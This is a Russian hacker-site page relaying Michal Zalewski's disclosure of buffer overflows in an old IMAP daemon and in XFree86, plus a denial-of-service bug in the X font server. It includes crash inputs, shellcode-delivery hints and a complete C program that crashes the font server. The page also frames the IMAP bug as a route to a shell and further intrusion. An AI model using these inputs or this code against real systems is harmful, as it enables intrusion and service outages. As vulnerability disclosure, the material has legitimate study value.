Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network

уязвимости IMAPD, XFREE86, XFONTSERVER


Team Void


Все описаные уязвимости были обнаружены Michalем Zalewski /lcamtuf@TPI.PL/

ПЕРЕПОЛНЕНИЕ БУФФЕРА В IMAP4rev1 v12.264

Данный почтовый демон, setuid mail, поставляемый с новейшей версией RedHat, подвержен переполнению буффера в аргументе LIST. Последовательность команд, приводящих к сбою сервиса и падением его с забмтым пользовательским вводом EIP такова:

* OK nimue IMAP4rev1 v12.264 server ready 1 login lcamtuf test 1 OK LOGIN completed 1 list "" AAAAAAAAAAAAAAAAAAAAAAAAAAA... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Сервис исполняется с привилегиями mail, но всё равно использование данного переполнения буффера - лёгкий и спокойный путь получения шелла на атакованном объекте и чтения конфигурационных файлов для планирования дальнейшего вторжения.

ПЕРЕПОЛНЕНИЕ БУФФЕРА В XFree86

XFree86 3.3.6 (и 4.0.0) - при работе данного X-сервера (не важно, суидный он или нет, или же вызван из суидного Xwrapper'a , входящего в дистрибутив RH 6.x)

При передаче данному приложению параметра -xkbmap, установленному в 2100 символов A, происходит.. ну, то, что происходит, мы проходили уже сотни раз - информация становится руководством к действию.. У gdb на этот счёт несколько другая точка зрения - процесс не может получить доступ к памяти по адресу 0x41414141, т.е. EIP забит буфером ввода.

Это было проверено на RH6.1/6.2 Xservers (3.3.5/3.3.6), и XFCom_i810 Version 1.0.0 / X Window System.

Весь шеллкод, идущий на переполнение (кстати, возникшее опять же из-за непроверенного вызова strcpy()), должен состоять из букв и цифр, так как спецсимволы могут быть заменены на '_'. Таким образом, код для исполнения лучше передать каким-либо другим способом, например через другой параметр.

DOS НА X FONTSERVER

Данное приложение не осуществляет проверку входных данных, и может быть выведено из строя несложной атакой, при которой функции strcpy() передаётся указатель на NULL: #include <sys/socket.h> #include <sys/un.h> #define CNT 50 #define FS "/tmp/.font-unix/fs-1" int s,y; struct sockaddr_un x; char buf[CNT]; main() { for (y;y<2;y++) { s=socket(PF_UNIX,SOCK_STREAM,0); x.sun_family=AF_UNIX; strcpy(x.sun_path,FS); if (connect(s,&x,sizeof(x))) { perror(FS); exit(1); } if (!y) write(s,"lK",2); memset(buf,'A',CNT); write(s,buf,CNT); shutdown(s,2); close(s); } }
 duke.


<== Back to main page